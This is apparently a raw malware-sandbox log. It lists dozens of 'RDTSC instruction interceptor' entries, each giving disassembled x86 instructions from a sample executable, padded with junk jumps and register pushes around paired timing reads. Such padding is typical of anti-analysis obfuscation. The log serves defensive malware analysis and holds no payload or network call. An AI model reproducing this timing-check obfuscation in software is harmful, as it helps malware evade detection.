Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51600C5 second address: 51600C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51600C9 second address: 51600CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51600CF second address: 51600D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51600D5 second address: 51600D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51806FD second address: 5180703 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5180703 second address: 518071C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B534805Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov al, bl 0x0000000f mov cx, B105h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 518071C second address: 5180772 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007FD0B5483378h 0x00000010 xchg eax, ebp 0x00000011 jmp 00007FD0B5483370h 0x00000016 mov ebp, esp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007FD0B548336Dh 0x00000021 jmp 00007FD0B548336Bh 0x00000026 popfd 0x00000027 mov ebx, ecx 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5180772 second address: 51807E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FD0B534805Bh 0x00000008 pop eax 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebx 0x0000000f jmp 00007FD0B5348062h 0x00000014 mov dword ptr [esp], ecx 0x00000017 pushad 0x00000018 mov eax, ebx 0x0000001a popad 0x0000001b mov eax, dword ptr [76FB65FCh] 0x00000020 jmp 00007FD0B534805Fh 0x00000025 test eax, eax 0x00000027 pushad 0x00000028 mov dx, cx 0x0000002b mov eax, 01CC85D7h 0x00000030 popad 0x00000031 je 00007FD1270FB1FCh 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007FD0B5348069h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51807E1 second address: 51807E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51807E7 second address: 51807EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51807EB second address: 518080C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, eax 0x0000000a jmp 00007FD0B548336Fh 0x0000000f xor eax, dword ptr [ebp+08h] 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 mov ecx, edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 518080C second address: 5180881 instructions: 0x00000000 rdtsc 0x00000002 call 00007FD0B5348067h 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov edx, 4DAEE34Ch 0x0000000f popad 0x00000010 and ecx, 1Fh 0x00000013 jmp 00007FD0B534805Bh 0x00000018 ror eax, cl 0x0000001a jmp 00007FD0B5348066h 0x0000001f leave 0x00000020 jmp 00007FD0B5348060h 0x00000025 retn 0004h 0x00000028 nop 0x00000029 mov esi, eax 0x0000002b lea eax, dword ptr [ebp-08h] 0x0000002e xor esi, dword ptr [008E2014h] 0x00000034 push eax 0x00000035 push eax 0x00000036 push eax 0x00000037 lea eax, dword ptr [ebp-10h] 0x0000003a push eax 0x0000003b call 00007FD0B9C287FEh 0x00000040 push FFFFFFFEh 0x00000042 jmp 00007FD0B5348060h 0x00000047 pop eax 0x00000048 pushad 0x00000049 push eax 0x0000004a push edx 0x0000004b movzx esi, di 0x0000004e rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5180881 second address: 51808BA instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FD0B5483379h 0x00000008 adc eax, 0A0BE996h 0x0000000e jmp 00007FD0B5483371h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51808BA second address: 5180911 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edx, eax 0x00000006 popad 0x00000007 popad 0x00000008 ret 0x00000009 nop 0x0000000a push eax 0x0000000b call 00007FD0B9C28852h 0x00000010 mov edi, edi 0x00000012 pushad 0x00000013 mov esi, 29DAEC1Bh 0x00000018 call 00007FD0B5348060h 0x0000001d pushfd 0x0000001e jmp 00007FD0B5348062h 0x00000023 add eax, 709FAC18h 0x00000029 jmp 00007FD0B534805Bh 0x0000002e popfd 0x0000002f pop ecx 0x00000030 popad 0x00000031 push ebx 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 mov ebx, 2174D3F4h 0x0000003a mov edx, 54053B60h 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5180911 second address: 518096B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FD0B5483374h 0x00000008 pop esi 0x00000009 jmp 00007FD0B548336Bh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp], ebp 0x00000014 jmp 00007FD0B5483376h 0x00000019 mov ebp, esp 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FD0B5483377h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 513001F second address: 5130025 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5130025 second address: 513002B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 513002B second address: 513002F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 513002F second address: 5130033 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5130033 second address: 5130059 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FD0B534805Fh 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 movzx eax, dx 0x00000013 popad 0x00000014 mov ebp, esp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5130059 second address: 513005D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 513005D second address: 5130063 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5130063 second address: 5130068 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5130068 second address: 51300E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dx, cx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a and esp, FFFFFFF8h 0x0000000d pushad 0x0000000e mov esi, 4EA568E1h 0x00000013 pushfd 0x00000014 jmp 00007FD0B534805Eh 0x00000019 or ch, 00000078h 0x0000001c jmp 00007FD0B534805Bh 0x00000021 popfd 0x00000022 popad 0x00000023 xchg eax, ecx 0x00000024 pushad 0x00000025 mov ecx, 2720C4CBh 0x0000002a movzx eax, di 0x0000002d popad 0x0000002e push eax 0x0000002f jmp 00007FD0B534805Ah 0x00000034 xchg eax, ecx 0x00000035 pushad 0x00000036 jmp 00007FD0B534805Eh 0x0000003b mov bl, al 0x0000003d popad 0x0000003e push esi 0x0000003f jmp 00007FD0B534805Ah 0x00000044 mov dword ptr [esp], ebx 0x00000047 pushad 0x00000048 jmp 00007FD0B534805Eh 0x0000004d push eax 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51300E3 second address: 513014C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 mov ebx, dword ptr [ebp+10h] 0x00000009 pushad 0x0000000a pushad 0x0000000b call 00007FD0B5483376h 0x00000010 pop eax 0x00000011 mov edx, 4BC56B86h 0x00000016 popad 0x00000017 pushfd 0x00000018 jmp 00007FD0B5483377h 0x0000001d xor al, 0000000Eh 0x00000020 jmp 00007FD0B5483379h 0x00000025 popfd 0x00000026 popad 0x00000027 xchg eax, esi 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b mov ax, dx 0x0000002e movsx edx, si 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 513014C second address: 51301B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FD0B5348067h 0x00000008 pop ecx 0x00000009 pushfd 0x0000000a jmp 00007FD0B5348069h 0x0000000f xor ch, 00000056h 0x00000012 jmp 00007FD0B5348061h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c pushad 0x0000001d mov si, bx 0x00000020 mov ebx, 3D939ADEh 0x00000025 popad 0x00000026 xchg eax, esi 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007FD0B5348060h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51301B7 second address: 513029E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD0B5483371h 0x00000009 jmp 00007FD0B548336Bh 0x0000000e popfd 0x0000000f mov di, cx 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 mov esi, dword ptr [ebp+08h] 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007FD0B5483370h 0x0000001f or ah, 00000038h 0x00000022 jmp 00007FD0B548336Bh 0x00000027 popfd 0x00000028 pushfd 0x00000029 jmp 00007FD0B5483378h 0x0000002e sbb si, 8F98h 0x00000033 jmp 00007FD0B548336Bh 0x00000038 popfd 0x00000039 popad 0x0000003a xchg eax, edi 0x0000003b jmp 00007FD0B5483376h 0x00000040 push eax 0x00000041 pushad 0x00000042 pushfd 0x00000043 jmp 00007FD0B5483371h 0x00000048 or cx, AFE6h 0x0000004d jmp 00007FD0B5483371h 0x00000052 popfd 0x00000053 mov ax, AA17h 0x00000057 popad 0x00000058 xchg eax, edi 0x00000059 pushad 0x0000005a mov ebx, esi 0x0000005c push eax 0x0000005d push edx 0x0000005e pushfd 0x0000005f jmp 00007FD0B5483372h 0x00000064 sbb cx, 1EB8h 0x00000069 jmp 00007FD0B548336Bh 0x0000006e popfd 0x0000006f rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 513029E second address: 51302D6 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FD0B5348068h 0x00000008 sub esi, 5DC85918h 0x0000000e jmp 00007FD0B534805Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 test esi, esi 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c mov ecx, edi 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51302D6 second address: 51303AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD0B5483379h 0x00000009 adc si, 7566h 0x0000000e jmp 00007FD0B5483371h 0x00000013 popfd 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 je 00007FD12728166Ch 0x0000001f jmp 00007FD0B548336Ch 0x00000024 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000002b jmp 00007FD0B5483370h 0x00000030 je 00007FD127281659h 0x00000036 jmp 00007FD0B5483370h 0x0000003b mov edx, dword ptr [esi+44h] 0x0000003e jmp 00007FD0B5483370h 0x00000043 or edx, dword ptr [ebp+0Ch] 0x00000046 pushad 0x00000047 push edi 0x00000048 mov edi, esi 0x0000004a pop eax 0x0000004b popad 0x0000004c test edx, 61000000h 0x00000052 pushad 0x00000053 mov ebx, 0F76D274h 0x00000058 push edx 0x00000059 pushfd 0x0000005a jmp 00007FD0B5483378h 0x0000005f or ax, 6428h 0x00000064 jmp 00007FD0B548336Bh 0x00000069 popfd 0x0000006a pop esi 0x0000006b popad 0x0000006c jne 00007FD12728164Bh 0x00000072 push eax 0x00000073 push edx 0x00000074 push eax 0x00000075 push edx 0x00000076 pushad 0x00000077 popad 0x00000078 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51303AF second address: 51303B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51303B3 second address: 51303B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51303B9 second address: 51303BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51303BF second address: 51303C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51303C3 second address: 51303E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B5348065h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test byte ptr [esi+48h], 00000001h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51303E8 second address: 51303EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51303EC second address: 51303F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51303F2 second address: 5130413 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, 03h 0x00000005 jmp 00007FD0B548336Dh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jne 00007FD127281600h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5130413 second address: 5130417 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5130417 second address: 513041B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 513041B second address: 5130421 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5120816 second address: 512081B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 512081B second address: 512084C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, dx 0x00000006 push edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b and esp, FFFFFFF8h 0x0000000e jmp 00007FD0B5348069h 0x00000013 xchg eax, ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov esi, 4966C665h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 512084C second address: 512085E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD0B548336Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 512085E second address: 5120887 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B534805Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push ecx 0x0000000e mov ah, bh 0x00000010 pop ecx 0x00000011 popad 0x00000012 xchg eax, ebx 0x00000013 pushad 0x00000014 movsx edi, cx 0x00000017 mov dx, si 0x0000001a popad 0x0000001b xchg eax, esi 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f pushad 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5120887 second address: 512088C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 512088C second address: 51208D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B5348060h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push ebx 0x0000000c pushfd 0x0000000d jmp 00007FD0B534805Ch 0x00000012 jmp 00007FD0B5348065h 0x00000017 popfd 0x00000018 pop eax 0x00000019 pushad 0x0000001a mov ah, bh 0x0000001c push ecx 0x0000001d pop edx 0x0000001e popad 0x0000001f popad 0x00000020 xchg eax, esi 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51208D5 second address: 51208D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51208D9 second address: 51208DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51208DD second address: 51208E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51208E3 second address: 51208E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51208E9 second address: 51208ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51208ED second address: 5120914 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+08h] 0x0000000b jmp 00007FD0B534805Ch 0x00000010 sub ebx, ebx 0x00000012 pushad 0x00000013 mov ecx, edi 0x00000015 mov eax, edi 0x00000017 popad 0x00000018 test esi, esi 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5120914 second address: 5120918 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5120918 second address: 5120926 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B534805Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5120926 second address: 5120941 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B548336Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FD127288DBFh 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5120941 second address: 5120945 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5120945 second address: 512094B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 512094B second address: 51209A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B534805Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000010 jmp 00007FD0B5348060h 0x00000015 mov ecx, esi 0x00000017 jmp 00007FD0B5348060h 0x0000001c je 00007FD12714DA77h 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FD0B5348067h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51209A1 second address: 5120A2A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, bx 0x00000006 movsx edx, cx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c test byte ptr [76FB6968h], 00000002h 0x00000013 jmp 00007FD0B548336Ah 0x00000018 jne 00007FD127288D5Eh 0x0000001e pushad 0x0000001f push ecx 0x00000020 jmp 00007FD0B548336Dh 0x00000025 pop eax 0x00000026 mov esi, edx 0x00000028 popad 0x00000029 mov edx, dword ptr [ebp+0Ch] 0x0000002c pushad 0x0000002d movsx edi, cx 0x00000030 call 00007FD0B5483372h 0x00000035 pushad 0x00000036 popad 0x00000037 pop esi 0x00000038 popad 0x00000039 push esp 0x0000003a pushad 0x0000003b mov bx, cx 0x0000003e jmp 00007FD0B5483376h 0x00000043 popad 0x00000044 mov dword ptr [esp], ebx 0x00000047 jmp 00007FD0B5483370h 0x0000004c xchg eax, ebx 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5120A2A second address: 5120A2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5120A2E second address: 5120A32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5120A32 second address: 5120A38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5120A38 second address: 5120A3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5120A3E second address: 5120A4F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e mov dl, al 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5120A4F second address: 5120A54 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5120A54 second address: 5120A5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5120A5A second address: 5120A8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebx 0x00000008 pushad 0x00000009 mov esi, 3532662Bh 0x0000000e movzx esi, bx 0x00000011 popad 0x00000012 push dword ptr [ebp+14h] 0x00000015 jmp 00007FD0B5483373h 0x0000001a push dword ptr [ebp+10h] 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5120A8B second address: 5120A91 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5120AF4 second address: 5120AFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5120AFA second address: 5120AFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
